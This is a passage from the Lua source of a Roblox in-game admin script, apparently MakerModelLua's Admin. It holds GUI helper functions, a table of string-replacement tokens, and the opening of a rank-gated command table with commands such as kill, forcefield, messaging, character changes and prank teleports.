5167 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5168 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5169 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5170 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5171 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5172 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5173
5174 local CurrentSeconds = AllSeconds
5175 local Alive = true
5176 coroutine.wrap(function() for i = 0,AllSeconds do
5177 if not Alive then break end
5178 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5179 local Minutes = tostring(math.floor(CurrentSeconds/60))
5180 if #Seconds == 1 then Seconds = "0"..Seconds end
5181 if #Minutes == 1 then Minutes = "0"..Minutes end
5182 Time.Text = Minutes..":"..Seconds
5183 wait(1)
5184 if CurrentSeconds <= 0 then
5185 Alarm:Play()
5186 Time.Text = "00:00"
5187 Part.Size = UDim2.new(1,0,1,0)
5188 Restore:Invoke()
5189 wait(4)
5190 Close:Invoke()
5191 break
5192 else
5193 Tick:Play()
5194 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5195 CurrentSeconds = CurrentSeconds - 1
5196 end
5197 end end)()
5198
5199 Closed.Event:connect(function()
5200 if Alive == true then
5201 Alive = false
5202 Tick:Stop()
5203 Alarm:Stop()
5204 end
5205 end)
5206end)() end
5207
5208function GUI:DetachChat(Player)
5209 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5210 if Player:FindFirstChild("DetachChatMML") then
5211 Player.DetachChatMML:Invoke(true)
5212 wait()
5213 Player.DetachChatMML:Destroy()
5214 end
5215
5216 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5217 local SG = Frame.Parent.Parent.Parent
5218
5219 local DCBF = Instance.new("BindableFunction", Player)
5220 DCBF.Name = "DetachChatMML"
5221 DCBF.OnInvoke = function(Remove)
5222 if Remove then
5223 SG:Destroy()
5224 end
5225 end
5226 CORE:ExecuteResource("CoreChat", SG)
5227
5228 local IsClosed = false
5229 Closed.Event:connect(function()
5230 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5231 IsClosed = true
5232 end)
5233
5234 coroutine.wrap(function()
5235 Player.CharacterRemoving:wait()
5236 if not IsClosed then
5237 IsClosed = true
5238 wait(1)
5239 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5240 end
5241 end)()
5242end
5243
5244function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5245 if not Player then return nil end
5246 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5247 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5248
5249 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5250end)() end
5251
5252function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5253 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5254 if not SoundID then SoundID = SoundInfo["ID"] end
5255 if not TitleText then TitleText = SoundInfo["Name"] end
5256 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5257 if not InputSound then InputSound = Sound end
5258
5259 local NumSounds = 0
5260 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5261 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5262 NumSounds = NumSounds + 1
5263 end
5264 end
5265
5266 local Size = UDim2.new(0.1, 100, 0.1, 100)
5267 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5268 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5269
5270 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5271 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5272 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5273 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5274 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5275 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5276 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5277
5278 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5279 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5280 if Sound then
5281 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5282 end
5283 if Time then
5284 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5285 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5286
5287 coroutine.wrap(function()
5288 local Alive = true
5289
5290 local function StopTimer() Alive = false end
5291 Closed.Event:connect(StopTimer)
5292 Minimized.Event:connect(StopTimer)
5293 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5294
5295 for i = Time,0,-1 do
5296 for ii = 1,10 do
5297 if Alive == true then
5298 Timer.Text = i
5299 wait(0.1)
5300 else
5301 break
5302 end
5303 end
5304 end
5305 if Alive == true then
5306 Close:Invoke()
5307 else
5308 Timer:Destroy()
5309 Stop:Destroy()
5310 end
5311 end)()
5312 end
5313end
5314
5315---- STRING REPLACEMENT OPERATIONS ----
5316
5317-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5318
5319-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5320
5321StringReplacements = {
5322 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5323 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5324 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5325 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5326 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5327 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5328 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5329 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5330 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5331 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5332
5333 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5334 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5335 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5336 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5337 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5338 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5339
5340 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5341 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5342 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5343 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5344 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5345 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5346 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5347 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5348 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5349 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5350 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5351 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5352 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5353 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5354 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5355 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5356}
5357
5358---- COMMANDS ----
5359
5360-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5361
5362Commands = { -- can't make local
5363 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5364 print("[MML's Admin]: Test message from "..Speaker.Name)
5365 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5366 end};
5367
5368 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5369 local Players = STRING:Scan(Arguments[1], Speaker)
5370 for _,Player in pairs(Players) do
5371 if Player.Character then
5372 Player.Character:BreakJoints()
5373 end
5374 end
5375 end};
5376
5377 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5378 local Players = STRING:Scan(Arguments[1], Speaker)
5379 for _,Player in pairs(Players) do
5380 if Player.Character then
5381 Instance.new("ForceField", Player.Character)
5382 end
5383 end
5384 end};
5385
5386 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5387 local Players = STRING:Scan(Arguments[1], Speaker)
5388 for _,Player in pairs(Players) do
5389 if Player.Character then
5390 for _,Get in pairs(Player.Character:GetChildren()) do
5391 if Get:IsA("ForceField") then
5392 Get:Destroy()
5393 end
5394 end
5395 end
5396 end
5397 end};
5398
5399 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5400 for _,Player in pairs(Server.Players:GetPlayers()) do
5401 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5402 end
5403 end};
5404
5405 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5406 for _,Player in pairs(Server.Players:GetPlayers()) do
5407 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5408 end
5409 end};
5410
5411 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5412 local Players = STRING:Scan(Arguments[1], Speaker)
5413 for _,Player in pairs(Players) do
5414 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5415 end
5416 end};
5417
5418 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5419 for _,Player in pairs(Server.Players:GetPlayers()) do
5420 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5421 end
5422 end};
5423
5424 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5425 local Players = STRING:Scan(Arguments[1], Speaker)
5426 for _,Player in pairs(Players) do
5427 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5428 end
5429 end};
5430
5431 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5432 local Players = STRING:Scan(Arguments[1], Speaker)
5433 local AgeList = {}
5434 for _,Player in pairs(Players) do
5435 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5436 end
5437 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5438 end};
5439
5440 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5441 local Players = STRING:Scan(Arguments[1], Speaker)
5442 local AgeList = {}
5443 for _,Player in pairs(Players) do
5444 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5445 end
5446 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5447 for _,Player in pairs(SecondPlayers) do
5448 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5449 end
5450 end};
5451
5452 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5453 local Storage = {{}, {}, {}, {}}
5454 local StorageText = {}
5455 local Formatted = {}
5456 for CommandNames,Data in pairs(Commands) do
5457 if not Data.Hidden then
5458 local RankNeeded = RANK:ConvertRank(Data[4])
5459 local Add = ""
5460 if Data[4] == "Non-Admin" then Add = "BLACK " end
5461 if Data[4] == "Admin" then Add = "CYAN " end
5462 if Data[4] == "Member" then Add = "BLUE " end
5463 if Data[4] == "Owner" then Add = "BROWN " end
5464 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5465 local AddBet = Settings.Bet
5466 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5467 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5468 table.insert(Storage[RankNeeded + 1], Add..Text)
5469 StorageText[Text] = CommandNames
5470 end
5471 end
5472 for Num,_ in pairs(Storage) do
5473 table.sort(Storage[Num])
5474 end
5475 for _,Table in pairs(Storage) do
5476 for _,Command in pairs(Table) do
5477 table.insert(Formatted, Command)
5478 end
5479 end
5480 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5481 Clicked.Event:connect(function(Text)
5482 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5483 end)
5484 end};
5485
5486 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5487 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5488 end};
5489
5490 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5491 if GUI:GetColor(Arguments[1]) then
5492 local ColorScheme = string.upper(Arguments[1])
5493 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5494 Settings.ColorScheme = ColorScheme
5495 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5496 else
5497 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5498 end
5499 end};
5500
5501 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5502 local List = {}
5503 for Color,_ in pairs(Colors) do
5504 table.insert(List, Color.." "..Color)
5505 end
5506 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5507 end};
5508
5509 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5510 local Transparency = tonumber(Arguments[1])
5511 if Transparency then
5512 if Transparency > 90 then Transparency = 90 end
5513 if Transparency < 10 then Transparency = 10 end
5514 Settings.TransparencyScheme = Transparency/100
5515
5516 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5517 else
5518 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5519 end
5520 end};
5521
5522 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5523 if Fonts[Arguments[1]] then
5524 Settings.Font = Arguments[1]
5525 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5526 end
5527 end};
5528
5529 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5530 Settings.Fun = not Settings.Fun
5531 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5532 end};
5533
5534 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5535 Settings.DisableAbuse = not Settings.DisableAbuse
5536 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5537 end};
5538
5539 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5540 local List = {}
5541 for Font,_ in pairs(Fonts) do
5542 if Font == Settings.Font then
5543 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5544 else
5545 table.insert(List, Font.." "..Font)
5546 end
5547 end
5548 GUI:ListGui(Speaker, "Font list", List, 44453197)
5549 end};
5550
5551 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5552 local SoundID = tonumber(Arguments[1])
5553 if SoundID then
5554 Settings.ExecuteNotificationSound = SoundID
5555
5556 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5557 else
5558 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5559 end
5560 end};
5561
5562 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5563 Settings.ExecuteNotificationSound = 0
5564 end};
5565
5566 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5567 local Players = STRING:Scan(Arguments[1], Speaker)
5568 for _,Player in pairs(Players) do
5569 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5570 end
5571 end};
5572
5573 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5574 local Players = STRING:Scan(Arguments[1], Speaker)
5575 for _,Player in pairs(Players) do
5576 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5577 end
5578 end};
5579
5580 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5581 local Players = STRING:Scan(Arguments[1], Speaker)
5582 for _,Player in pairs(Players) do
5583 coroutine.wrap(function()
5584 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5585 wait(1)
5586 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5587 end)()
5588 end
5589 end, Hidden = true};
5590
5591 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5592 local Players = STRING:Scan(Arguments[1], Speaker)
5593 for _,Player in pairs(Players) do
5594 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5595 end
5596 end};
5597
5598 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5599 local Players = STRING:Scan(Arguments[1], Speaker)
5600 for _,Player in pairs(Players) do
5601 CORE:ChangeName(Player, Arguments[2])
5602 end
5603 end};
5604
5605 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5606 local Players = STRING:Scan(Arguments[1], Speaker)
5607 for _,Player in pairs(Players) do
5608 if Player.Character then
5609 local Head = Player.Character:FindFirstChild("Label")
5610 if Head then Head:Destroy() end
5611 local Head = Player.Character:FindFirstChild("Head")
5612 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5613 end
5614 end
5615 end};
5616
5617 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5618 local Players = STRING:Scan(Arguments[1], Speaker)
5619 for _,Player in pairs(Players) do
5620 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5621 end
5622 end};
5623
5624 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5625 local Players = STRING:Scan(Arguments[1], Speaker)
5626 for _,Player in pairs(Players) do
5627 local _,RankNum = RANK:GetRank(Player)
5628 if RankNum <= RANK:ConvertRank(Rank) then
5629 Server.TS:Teleport(Arguments[2], Player)
5630 end
5631 end
5632 end};
5633
5634 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5635 local Players = STRING:Scan(Arguments[1], Speaker)
5636 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5637 if Suc then
5638 for _,Player in pairs(Players) do
5639 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5640 end
5641 else
5642 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5643 end
5644 end};
5645
5646 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5647 local Players = STRING:Scan(Arguments[1], Speaker)
5648 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5649 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5650 if Suc then
5651 for _,Player in pairs(Players) do
5652 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5653 end
5654 else
5655 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5656 end
5657 end)
5658 end};
5659
5660 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5661 local Players = STRING:Scan(Arguments[1], Speaker)
5662 for _,Player in pairs(Players) do
5663 local _,RankNum = RANK:GetRank(Player)
5664 if RankNum < RANK:ConvertRank(Rank) then
5665 Server.TS:Teleport(155307015, Player)
5666 end
5667 end
5668 end};
5669
5670 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5671 local Players = STRING:Scan(Arguments[1], Speaker)
5672 for _,Player in pairs(Players) do
5673 local _,RankNum = RANK:GetRank(Player)
5674 if RankNum < RANK:ConvertRank(Rank) then
5675 Server.TS:Teleport(347911447, Player)
5676 end
5677 end
5678 end};
5679
5680 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5681 local Players = STRING:Scan(Arguments[1], Speaker)
5682 for _,Player in pairs(Players) do
5683 CORE:GenerateShield(Player)
5684 end
5685 end};
5686
5687 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5688 local Players = STRING:Scan(Arguments[1], Speaker)
5689 for _,Player in pairs(Players) do
5690 if Player.Character then
5691 local Shield = Player.Character:FindFirstChild("Shield")
5692 if Shield then Shield:Destroy() end
5693 end
5694 end
5695 end};
5696
5697 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5698 local Num = tonumber(Arguments[1])
5699 if Num and Num ~= 0 then
5700 local Random = math.random(1,math.abs(Num))
5701 if Random == math.random(1,math.abs(Num)) then
5702 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5703 else
5704 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5705 end
5706 else
5707 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5708 end
5709 end};
5710
5711 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5712 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5713 IRC:AddChat(Speaker.Name, Arguments[1])
5714 end};
5715
5716 --[[
5717 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5718 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5719 if Res then
5720 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5721 end
5722 end, Http = true};
5723
